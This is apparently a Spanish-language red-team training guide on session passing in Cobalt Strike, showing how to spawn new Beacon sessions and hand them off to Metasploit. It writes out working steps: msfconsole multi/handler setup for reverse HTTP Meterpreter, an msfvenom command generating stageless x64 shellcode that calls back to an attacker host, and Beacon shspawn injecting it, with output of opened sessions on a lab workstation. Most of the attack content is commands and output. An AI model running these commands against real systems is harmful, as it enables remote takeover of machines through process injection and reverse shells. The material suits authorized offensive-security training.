Session Passing
Session Passing
Como sabemos, en Cobalt Strike (y muchos otros frameworks de C2), los payloads están estrechamente vinculados a los listeners. Session passing es un proceso donde se genera una nueva sesión C2 desde un tipo de payload/listener a otro. Por ejemplo, podríamos tener un Beacon de larga duración que se comunica a través de DNS, el cual podemos utilizar para generar un Beacon de corta duración a través de HTTP. También es posible pasar sesiones entre frameworks C2 completamente diferentes, como generar una sesión de Meterpreter desde Beacon.
Esto es útil por varias razones, incluyendo:
- Aprovechar una capacidad dentro de un framework que Cobalt Strike no tiene.
- Usar diferentes frameworks C2 como acceso de respaldo en caso de perder el acceso actual.
- Para emular TTPs específicos.
Beacon Passing
El comando spawn generará un proceso x86 o x64 e inyectará shellcode para el listener especificado en él.
En este ejemplo, tengo un Beacon DNS comunicándose desde bfarmer cada 1 minuto. En lugar de operar a través de este Beacon, quiero dejarlo abierto como una línea de vida con una verificación lenta. En ese caso, puedo generar una nueva sesión HTTP y trabajar desde allí en su lugar.
Foreign Listener
El foreign listener en Cobalt Strike está diseñado para crear implantes Meterpreter HTTP/HTTPS desde Beacon, aunque técnicamente es compatible con cualquier implante que soporte el protocolo de staging de MSF. Inicia msfconsole y crea un nuevo listener reverse HTTP Meterpreter.
attacker@ubuntu ~> sudo msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST ens5
msf6 exploit(multi/handler) > set LPORT 8080
Info
Debes usar el tipo de payload "staged" reverse_http y asegurarte de usar un puerto en el que Cobalt Strike no esté escuchando actualmente.
msf6 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://10.10.5.50:8080
Ve a la gestión de listeners en Cobalt Strike y crea un nuevo listener Foreign HTTP. El host y puerto del stager deben coincidir con tu MSF multi handler.
Este listener ahora estará disponible dentro de todos los comandos relevantes de Beacon como spawn, jump y elevate. Por ejemplo, spawn msf generará un proceso e inyectará shellcode de Meterpreter en él, dándonos así una sesión de Meterpreter.
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: t6qekc2g) Staging x86 payload (176732 bytes) ...
[*] Meterpreter session 1 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 11:29:54 +0000
meterpreter > sysinfo
Computer : WKSTN-2
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : DEV
Logged On Users : 11
Meterpreter : x86/windows
Dos desventajas del foreign listener son que solo admite payloads staged x86 (no x64 ni stageless).
Spawn & Inject
Cobalt Strike tiene dos comandos genéricos adicionales de inyección que pueden ser utilizados para el propósito de session passing: shinject y shspawn. Ambos permiten inyectar un blob de shellcode arbitrario - shinject puede inyectar en un proceso existente, y shspawn generará un nuevo proceso.
Primero, cambia el multi handler para usar un payload stageless x64 Meterpreter.
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > exploit
[*] Started HTTP reverse handler on http://10.10.5.50:8080
Luego, genera el payload asociado usando msfvenom dentro de WSL, y guarda la salida en tu directorio Payloads.
ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf_http_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201820 bytes
Saved as: /mnt/c/Payloads/msf_http_x64.bin
Finalmente, usa shspawn para generar un proceso e inyectarlo.
beacon> shspawn x64 C:\Payloads\msf_http_x64.bin
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Redirecting stageless connection from /jeqN5SIPwEzAGcEbowwz7Q-hb8QsIP with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36'
[*] http://10.10.5.50:8080 handling request from 10.10.122.254; (UUID: 64tqy4zf) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (10.10.5.50:8080 -> 127.0.0.1) at 2022-09-05 13:04:53 +0000

